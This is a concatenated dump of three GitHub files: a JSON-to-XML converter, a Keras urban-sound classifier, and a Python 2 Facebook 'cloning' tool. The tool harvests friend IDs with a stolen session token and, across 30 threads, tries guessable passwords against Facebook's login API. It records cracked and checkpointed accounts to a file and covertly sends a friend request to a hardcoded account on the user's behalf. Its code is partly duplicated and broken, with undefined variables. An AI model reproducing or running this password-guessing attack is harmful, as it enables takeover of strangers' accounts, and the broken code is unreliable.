f8a8f0688d6e41a29cb8a5deaf739a00fb9cac28 | 02b50de1e11c7fe526fc93a6341f662c3278eb71 | /yang/templates/read_json_file.py | 77504620a4d72b9136d77f3d88341835063eb8b2 | [] | no_license | gdpak/ansibleplay | 00b7c22050394776e1beb18884895d04c928eb7b | 2079af21e6a729464216caada9ab0344453de8dc | refs/heads/master | 2021-05-04T16:27:06.626296 | 2020-02-21T07:33:03 | 2020-02-21T07:33:03 | 120,250,297 | 0 | 0 | null | 2018-02-19T03:41:53 | 2018-02-05T03:30:50 | null | UTF-8 | Python | false | false | 2,942 | py | import json
def json_to_xml(json_obj, line_padding=""):
result_list = []
json_obj_type = type(json_obj)
if json_obj_type is list:
for sub_elem in json_obj:
result_list.append(json_to_xml(sub_elem, line_padding))
return "\n".join(result_list)
if json_obj_type is dict:
for tag_name in json_obj:
sub_obj = json_obj[tag_name]
result_list.append("%s<%s>" % (line_padding, tag_name))
result_list.append(json_to_xml(sub_obj, "\t"+line_padding))
result_list.append("%s<%s>" % (line_padding, tag_name))
return "\n".join(result_list)
return "%s%s" % (line_padding, json_obj)
def main():
with open('bgp_edit_config.json', 'r') as f:
json_config = f.read()
j = json.loads(json_config)
xml = json_to_xml(j)
print (xml)
if __name__ == "__main__":
main()
| [
"deepacks@gmail.com"
] | deepacks@gmail.com |
a6a5dfcb26115d369743efe7028069b55def3c55 | 9134159b8e504490930b80aa9de41af506e9e9eb | /sound_classifier.py | db96ec55a3563aa591d29ce1a9c1cbd1dfe0cc93 | [] | no_license | P4uL7/es_sound_classifier | 672a3f063c47e59946a3cb94df73d1586abd6d0d | 6f75767a8a5f88adb30e1ad846876dde60df8095 | refs/heads/master | 2021-04-16T20:45:16.775786 | 2020-03-29T18:56:18 | 2020-03-29T18:56:18 | 249,382,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,637 | py | import numpy as np
from numpy import genfromtxt
from keras.utils.np_utils import to_categorical
from keras import Sequential
from keras.layers import Dense, Conv2D, MaxPooling2D, Flatten, Dropout
import pandas as pd
# extracting data from csv files into numpy arrays
x_train = genfromtxt('train_data.csv', delimiter=',')
y_train = genfromtxt('train_labels.csv', delimiter=',')
x_test = genfromtxt('test_data.csv', delimiter=',')
y_test = genfromtxt('test_labels.csv', delimiter=',')
print("#1 data extraction done")
# shape
print(x_train.shape, x_test.shape, y_train.shape, y_test.shape)
# converting to one hot
y_train = to_categorical(y_train, num_classes=10)
y_test = to_categorical(y_test, num_classes=10)
print(y_train.shape, y_test.shape)
print("#2 conversion done")
# reshaping to 2D
x_train = np.reshape(x_train, (x_train.shape[0], 40, 5))
x_test = np.reshape(x_test, (x_test.shape[0], 40, 5))
print(x_train.shape, x_test.shape)
print("#3 2d reshape done")
# reshaping to shape required by CNN
x_train = np.reshape(x_train, (x_train.shape[0], 40, 5, 1))
x_test = np.reshape(x_test, (x_test.shape[0], 40, 5, 1))
print("#4 reshape for CNN done")
# shapes
print(x_train.shape, x_test.shape)
# forming model
model = Sequential()
# adding layers and forming the model
model.add(Conv2D(64, kernel_size=5, strides=1, padding="Same", activation="relu", input_shape=(40, 5, 1)))
model.add(MaxPooling2D(padding="same"))
model.add(Conv2D(128, kernel_size=5, strides=1, padding="same", activation="relu"))
model.add(MaxPooling2D(padding="same"))
model.add(Dropout(0.3))
model.add(Flatten())
model.add(Dense(256, activation="relu"))
model.add(Dropout(0.3))
model.add(Dense(512, activation="relu"))
model.add(Dropout(0.3))
model.add(Dense(10, activation="softmax"))
print("#5 model forming done")
# compiling
model.compile(optimizer="adam", loss="categorical_crossentropy", metrics=["accuracy"])
print("#6 compilation done")
# training the model
model.fit(x_train, y_train, batch_size=50, epochs=30, validation_data=(x_test, y_test))
print("#7 training done")
# train and test loss and scores respectively
train_loss_score = model.evaluate(x_train, y_train)
test_loss_score = model.evaluate(x_test, y_test)
print(train_loss_score)
print(test_loss_score)
classes = ["air_conditioner", "car_horn", "children_playing",
"dog_bark", "drilling", "engine_idling",
"gun_shot", "jackhammer", "siren", "street_music"]
predicted_classes = model.predict_classes(x_test)
predicted_explanations = []
for x in predicted_classes:
predicted_explanations.append(classes[x])
# ~~~~~~~~~~~~~~~~~ activations & heatmaps ~~~~~~~~~~~~~~~~~
from keract import get_activations, display_activations, display_heatmaps
for i in range(837):
eval_item = x_test[i:i + 1]
activations = get_activations(model, eval_item, "conv2d_1")
# display_activations(activations, save=False)
display_heatmaps(activations, eval_item, "./heatmaps/" + str(predicted_explanations[i]) + "/heatmap" + str(i),
save=True)
print("#" + str(i) + ": ", predicted_explanations[i])
# TODO interpret heatmap?
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
data = {"SoundID": list(range(1, len(predicted_classes) + 1)), "Label": predicted_classes,
"Explanation": predicted_explanations}
submissions = pd.DataFrame(data)
submissions.to_csv("submission2.csv", index=False, header=True)
print("DONE")
# results
# [0.061496452033782796, 0.9820139408111572]
# [1.0961064827765294, 0.7335723042488098]
# new
# [0.10706214858587784, 0.9680810570716858]
# [0.9786004304058022, 0.7574671506881714]
| [
"stanila_paul@yahoo.com"
] | stanila_paul@yahoo.com |
5dd5bd78e3f53d987808b76faa759ccdc342d254 | 4d31d1d2d241f05884d48f037999360583d3469c | /VirusteamASPR.py | 53f45301a316192f4fadf8f76cb6c72c5658b802 | [] | no_license | VIRUSPRIYANSHU/Virus | 6c8ca384b1aede92268534d71ba63561137403ac | a8b78bcf090708c218070a3e1b21a9cdb63db4a8 | refs/heads/master | 2022-11-21T08:12:58.736526 | 2020-07-01T12:01:12 | 2020-07-01T12:01:12 | 276,273,975 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 24,406 | py | #!/usr/bin/python2
#coding=utf-8
#The Credit For This Code Goes To asim102
#If You Wanna Take Credits For This Code, Please Look Yourself Again...
#Reserved2020
import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
def keluar():
print "\x1b[1;91mExit"
os.sys.exit()
def acak(b):
w = 'ahtdzjc'
d = ''
for i in x:
d += '!'+w[random.randint(0,len(w)-1)]+i
return cetak(d)
#!/usr/bin/python2
#coding=utf-8
#The Credit For This Code Goes To asim102
#If You Wanna Take Credits For This Code, Please Look Yourself Again...
#Reserved2020
import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
def keluar():
print "\x1b[1;91mExit"
os.sys.exit()
def acak(b):
w = 'ahtdzjc'
d = ''
for i in x:
d += '!'+w[random.randint(0,len(w)-1)]+i
return cetak(d)
def cetak(b):
w = 'ahtdzjc'
for i in w:
j = w.index(i)
x= x.replace('!%s'%i,'\033[%s;1m'%str(31+j))
x += '\033[0m'
x = x.replace('!0','\033[0m')
sys.stdout.write(x+'\n')
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.07)
#Dev:Virus_Priyanshu
##### LOGO #####
logo = """
\033[1;91m: โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ :
\033[1;92m: โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ :
\033[1;93m: โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ :
\033[1;94m: โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ :
\033[1;95m: โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ :
\033[1;96m: โโโโโโโโโโ๐ต๐ฐ๐ฒ๐ด๐ฑ๐พ๐พ๐บโโโโโโโโโโโโโ :
\033[1;91m: โโโโโโโโโโโโ๐บ๐ธ๐ฝ๐ถโโโโโโโโโโโโโโโ :
\033[1;91m:
@@@ @@ @@ @@@
@@@@@@ @@@@@@
@@@@@ 88888888888 @@@@@
@@@@ 888888888888888 @@@@
@@@@ 8888888888888888888 @@@@
@@@@888 88888888888888 8888@@@@
8888 888888888888 88888@
88888 88888888 888888
88888 8888 888888
888888888888888888888888888
88888888888 888888888888
88888888 888888888
8888888888888888888888
88888888888888888888
8888888888888888
@@@@ ||||||||||| @@@@
@@@@ ||||||||||| @@@@
@@@@ @@@@
@@@@@ @@@@@
@@@@@ Priyanshu Gupta @@@ @@
\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mVirus Team\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ
\033[1;93mโโโโโโโโโโโโโโโโโโโโโโโโ P๐A โโโโโโโโโโโโโโโโโโโโโโโโ
\033[1;93mโโโโโโโโโโโโโโโโโโโโโโโโ WhatsApp Group โโโโโโโโโโโโโโโโโโโโโโโโ
\033[1;93mโโโโโโโโโโโโโโโโโโโโโโโโ ---***MR.VIRUS ADMIN***--- โโโโโโโโโโโโโโโโโโโโโโโโ
\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mM_Priyanshu\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ"""
def tik():
titik = ['. ','.. ','... ']
for o in titik:
print("\r\x1b[1;93mPlease Wait \x1b[1;93m"+o),;sys.stdout.flush();time.sleep(1)
back = 0
berhasil = []
cekpoint = []
oks = []
id = []
listgrup = []
vulnot = "\033[31mNot Vuln"
vuln = "\033[32mVuln"
os.system("clear")
print """
\033[1;96m โโโโโโโโโโโโ โฑโโโโโฒ โโโโโโโโโโโโ
\033[1;96m โโโโโโโโโโโโ โโโฒโโโฑโโโโโโโโโโโโโโ
\033[1;96m โโโโโโโโโโโโ โโโโฑโฒโโโโโโโโโโโโโโโ
\033[1;96m โโโโโโโโโโโโ โฒโโโโโฑ โโโโโโโโโโโโ
\033[1;96m โโโโโโโโโโโโ โโฒโโโฑโ โโโโโโโโโโโโ
\033[1;96m โโโโโโโโโ โฑโโโโโโโโโโโโโฒโโโโโโโโโ
\033[1;96m โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
\033[1;93m โโโโโโโโโWelcome To My Profile โโโโโโโโโโ
\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mHeartHacker\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ
\033[1;94mAuthor \033[1;91m: \033[1;91mM_Priyanshu_CH
\033[1;94mVIRUS GANG\033[1;91m: \033[1;91โโโโโโโโโโโโโโโโ]99.9
\033[1;94mFacebook \033[1;91m: \033[1;91mM Priyanshu
\033[1;94m--**--\033[1;91m: \033[1;91mM Join Virus Team
\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mHeartHacker\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ"""
jalan('\033[1;92m .........................Priyanshu Gupta.........................:')
jalan("\033[1;93m โโโโโโโโโโโโ Welcome to my Prifile โโโโโโโโโโ ")
jalan('\033[1;93m โ โโโโโโโโโโโโLogin New Acountโโโโโโโโโโโโโโโ ')
jalan('\033[1;93m โ โโโโโโโ CP Acount Open After 7 Days โโโโโโโโโโโโ ')
jalan("\033[1;93m โ โโAny Problem U Can Contact This WhatsApp Group Subscribe My Mew Channel โ ")
jalan("\033[1;93m โ โโโโโโโโโโโ+Priyanshu_Guptaโโโโโโโโโโโโโโโโโโ")
print "\033[1;95m โโโโโโโโโโโขโโขโโโโโโโโโโ\033[1;96mLogin HeartHacker\033[1;95mโโโโโโโโโโโขโโขโโโโโโโโโโ"
CorrectUsername = "Priyanshu"
CorrectPassword = "Gupta"
loop = 'true'
while (loop == 'true'):
username = raw_input("\033[1;94mโโโโ๐ \x1b[1;91mTool Username \x1b[1;91mยปยป \x1b[1;93m")
if (username == CorrectUsername):
password = raw_input("\033[1;94mโโโโ๐\x1b[1;91mTool Password \x1b[1;91mยปยป \x1b[1;92m")
if (password == CorrectPassword):
print "Logged in successfully as " + username #Dev:Asim_Pardasi
time.sleep(2)
loop = 'false'
else:
print "\033[1;91mWrong Password"
os.system('x')
else:
print "\033[1;94mWrong Username"
os.system()
def login():
os.system('clear')
try:
toket = open('login.txt','r')
menu()
except (KeyError,IOError):
os.system('clear')
print logo
jalan(' \033[1;92m Notice:โ \033[1;93mStay Home Stay Safe Save live Save Hindustan' )
jalan(' \033[1;92m Notice:โ \033[1;97mIndian Boy Priyanshu' )
jalan(' \033[1;92m Notice:โ \033[1;97mwear mask on your mouth every time ' )
jalan(' \033[1;92m Notice:โ \033[1;97mDont go to in markets ' )
jalan(' \033[1;92m Notice:โ \033[1;97mwash your hands every 1 hour' )
print "\033[1;95m โโโโโโโโโโโโโขโโข\033[1;96mPRIYANSHU GUPTA\033[1;95mโขโโขโโโโโโโโโโโโ"
print('\033[1;93mโโโโโโโโโโโโLOGIN WITH FACEBOOKโโโโโโโโโโโโ' )
print(' ' )
id = raw_input('\033[1;96m[+] \x1b[1;92mID/Email\x1b[1;95m: \x1b[1;96m')
pwd = raw_input('\033[1;96m[+] \x1b[1;93mPassword\x1b[1;96m: \x1b[1;96m')
tik()
try:
br.open('https://m.facebook.com')
except mechanize.URLError:
print"\n\x1b[1;96mThere is no internet connection"
keluar()
br._factory.is_html = True
br.select_form(nr=0)
br.form['email'] = id
br.form['pass'] = pwd
br.submit()
url = br.geturl()
if 'save-device' in url:
try:
sig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"}
x=hashlib.new("md5")
x.update(sig)
a=x.hexdigest()
data.update({'sig':a})
url = "https://api.facebook.com/restserver.php"
r=requests.get(url,params=data)
z=json.loads(r.text)
unikers = open("login.txt", 'w')
unikers.write(z['access_token'])
unikers.close()
print '\n\x1b[1;95mLogin Successful...'
os.system('xdg-open https://www.youtube.com/c/Virus team')
requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='+z['access_token'])
menu()
except requests.exceptions.ConnectionError:
print"\n\x1b[1;91mThere is no internet connection"
keluar()
if 'checkpoint' in url:
print("\n\x1b[1;92mYour Account is on Checkpoint")
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
else:
print("\n\x1b[1;93mPassword/Email is wrong")
os.system('rm -rf login.txt')
time.sleep(1)
login()
def menu():
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
os.system('clear')
print"\x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
otw = requests.get('https://graph.facebook.com/me?access_token='+toket)
a = json.loads(otw.text)
nama = a['name']
id = a['id']
except KeyError:
os.system('clear')
print"\033[1;91mYour Account is on Checkpoint"
os.system('rm -rf login.txt')
time.sleep(1)
login()
except requests.exceptions.ConnectionError:
print"\x1b[1;92mThere is no internet connection"
keluar()
os.system("clear") #Dev:Asim_Pardadi_Asim_Extra
print logo
print " \033[1;95mยซ-----โโโโโโโโโโโโ----\033[1;93mLogged in User Info\033[1;95m----โโโโโโโโโโโโ-----ยป"
print " \033[1;94m Name\033[1;93m:\033[1;92m"+nama+"\033[1;97m "
print " \033[1;97m ID\033[1;93m:\033[1;92m"+id+"\x1b[1;97m "
print "\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mBlackCobra\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ"
print "\033[1;97m--\033[1;92m> \033[1;92m1.\x1b[1;92mStart Cloning..."
print "\033[1;97m--\033[1;91m> \033[1;91m0.\033[1;91mExit "
pilih()
def pilih():
unikers = raw_input("\n\033[1;91mChoose an Option>>> \033[1;97m")
if unikers =="":
print "\x1b[1;91mFill in correctly"
pilih()
elif unikers =="1":
super()
elif unikers =="0":
jalan('Token Removed')
os.system('rm -rf login.txt')
keluar()
else:
print "\x1b[1;91mFill in correctly"
pilih()
def super():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print "\033[1;96m--\033[1;92m> \033[1;92m1.\x1b[1;91mClone From Friend List..."
print "\033[1;96m--\033[1;92m> \033[1;92m2.\x1b[1;91mClone From Public ID..."
print "\033[1;96m--\033[1;91m> \033[1;91m0.\033[1;94mBack"
pilih_super()
def pilih_super():
peak = raw_input("\n\033[1;91mChoose an Option>>> \033[1;97m")
if peak =="":
print "\x1b[1;91mFill in correctly"
pilih_super()
elif peak =="1":
os.system('clear')
print logo
print "\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mHEART HACKER\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ"
jalan('\033[1;93mGetting IDs \033[1;97m...')
r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
z = json.loads(r.text)
for s in z['data']:
id.append(s['id'])
elif peak =="2":
os.system('clear')
print logo
idt = raw_input("\033[1;96m[โก] \033[1;92mEnter ID link\033[1;93m: \033[1;97m")
print "\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mPriyanshu102\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ"
try:
jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
op = json.loads(jok.text)
print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"]
except KeyError:
print"\x1b[1;92mID Not Found!"
raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]")
super()
print"\033[1;93mGetting IDs\033[1;93m..."
r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
z = json.loads(r.text)
for i in z['data']:
id.append(i['id'])
elif peak =="0":
menu()
else:
print "\x1b[1;91mFill in correctly"
pilih_super()
print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id))
jalan('\033[1;92mPlease Wait\033[1;93m...')
titik = ['. ','.. ','... ']
for o in titik:
print("\r\033[1;91mCloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1)
print "\n\033[1;94mยซ-----\x1b[1;93mโกTo Stop Process Press CTRL+Zโก\033[1;94m----ยป"
print "\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mHeart hacker\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ"
jalan(' \033[1;93m .......................welcome Virus Cloning Start plzzz Wait....................... ')
print "\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโโก\033[1;96mHacker Priyanshu\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ"
def main(arg):
global cekpoint,oks
user = arg
try:
os.mkdir('out')
except OSError:
pass #Dev:Asim_Extra
try:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass1 = ('786786')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;92mโ{Hack}\x1b[1;97m-\x1b[1;92mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass1
oks.append(user+pass1)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;95mโ{CP}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass1
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass1+"\n")
cek.close()
cekpoint.append(user+pass1)
else:
pass2 = ('Pakistan')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;92mโ{Hack}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass2
oks.append(user+pass2)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;95mโ{CP}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass2
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass2+"\n")
cek.close()
cekpoint.append(user+pass2)
else:
pass3 = (j['first_name']+'123')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;92mโ{Hack}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass3
oks.append(user+pass3)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;95mโ{CP}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass3
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass3+"\n")
cek.close()
cekpoint.append(user+pass3)
else:
pass4 = (j['first_name']+'khan')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;92mโ{Hack}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass4
oks.append(user+pass4)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;95mโ{CP}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass4
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass4+"\n")
cek.close()
cekpoint.append(user+pass4)
else:
pass5 = (j['first_name']+'12345')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;92mโ{Hack}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass5
oks.append(user+pass5)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;95mโ{CP}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass5
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass5+"\n")
cek.close()
cekpoint.append(user+pass5)
else:
pass6 = (j['first_name']+'786')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;92mโ{Hack}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass6
oks.append(user+pass6)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;95mโ{CP}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass6
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass6+"\n")
cek.close()
cekpoint.append(user+pass6)
else:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass7 = (j['first_name']+'ali')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;92mโ{Hack}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass7
oks.append(user+pass7)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;95mโ{CP}\x1b[1;97m-\x1b[1;94mโ\x1b[1;97m-' + user + '-\x1b[1;94mโ\x1b[1;97m-' + pass7
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass7+"\n")
cek.close()
cekpoint.append(user+pass7)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print "\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ\033[1;96mHeart Hacker\033[1;95mโโโโโโโโโโโโโขโโขโโโโโโโโโโโโ"
print " \033[1;91mยซ---โขโโข---Developed By G Priyanshu--โขโโข---ยป" #Dev: Priyanshu_Gupta
print '\033[1;91mProcess Has Been Completed\033[1;92m....'
print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;94m"+str(len(cekpoint))
print """
ยดยดยดยดยดยดยดยถยถยถยถยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยด
ยดยดยดยดยดยดยถยถยดยดยดยดยถยถยถยถยถยดยดยถยถยถยถยดยถยถยถยถยดยด
ยดยดยดยดยดยดยถยดยดยดยดยดยดยดยดยดยดยถยถยถยถยดยถยถยดยดยดยดยถยด
ยดยดยดยดยดยดยถยดยดยดยดยดยดยดยดยดยดยถยดยถยถยถยถยถยถยดยดยดยถยด
ยดยดยดยดยดยถยดยดยดยดยดยดยดยดยดยดยถยถยถยถยถยดยดยดยถยถยถยถยถยด
ยดยดยดยดยถยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยถยถยถยถยถยถยถยถยด
ยดยดยดยถยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยถยถยถยถยถยดยด
ยดยถยถยถยดยดยดยดยดยถยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยถยดยด
ยดยดยดยถยดยดยดยดยถยถยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยถยดยด
ยดยดยดยถยถยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยถยถยดยดยดยดยถยดยด
ยดยดยถยถยถยดยดยดยดยดยดยดยดยดยถยถยถยดยดยดยดยถยถยดยดยดยถยถยดยด
ยดยดยดยดยดยถยถยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยดยถยถยถยดยด
ยดยดยดยดยดยดยดยถยถยถยดยดยดยดยดยดยดยดยดยดยดยดยดยถยถยถยดยดยดยด
ยดยดยดยถยถยถยถยถยดยถยถยถยถยถยถยถยถยถยถยถยถยถยถยถยดยดยดยดยดยด
ยดยดยดยถยดยดยดยดยถยถยถยถยถยดยดยดยดยถยถยถยถยดยดยดยถยดยดยดยดยด
ยดยดยดยถยดยดยดยดยถยถยถยดยถยถยถยถยถยถยถยถยดยดยดยถยถยถยดยดยดยด
ยดยดยดยถยถยถยถยถยถยถยถยถยถยถยถยถยดยดยถยถยถยถยถยดยดยดยถยถยดยด
ยดยดยถยดยดยดยดยดยดยถยถยถยถยถยถยถยถยถยถยถยดยดยดยดยดยดยดยถยดยด
ยดยถยดยดยดยดยดยดยดยดยดยถยถยถยถยถยถยถยถยดยดยดยดยดยดยดยดยถยดยด
ยดยดยถยดยดยดยดยดยดยดยดยถยถยถยถยถยถยถยถยดยดยดยดยดยดยดยดยถยดยด
ยดยดยถยถยดยดยดยดยดยดยดยถยถยดยดยดยดยถยถยดยดยดยดยดยดยถยถยดยดยด
ยดยดยดยดยถยถยถยถยถยถยถยดยดยดยดยดยดยดยดยถยถยถยถยถยถยดยดยด
โโโโโโโโโโโโโขโโขโโโโโโโโโโโโ.
: \033[1;93m.Priyanshu Gupta/Virus Team.... \033[1;93m :
โโโโโโโโโโโโโขโโขโโโโโโโโโโโโ.'
Instagram
+priyanshugupta001"""
raw_input("\n\033[1;93m[\033[1;91mBack\033[1;93m]")
menu()
if __name__ == '__main__':
login()
| [
"noreply@github.com"
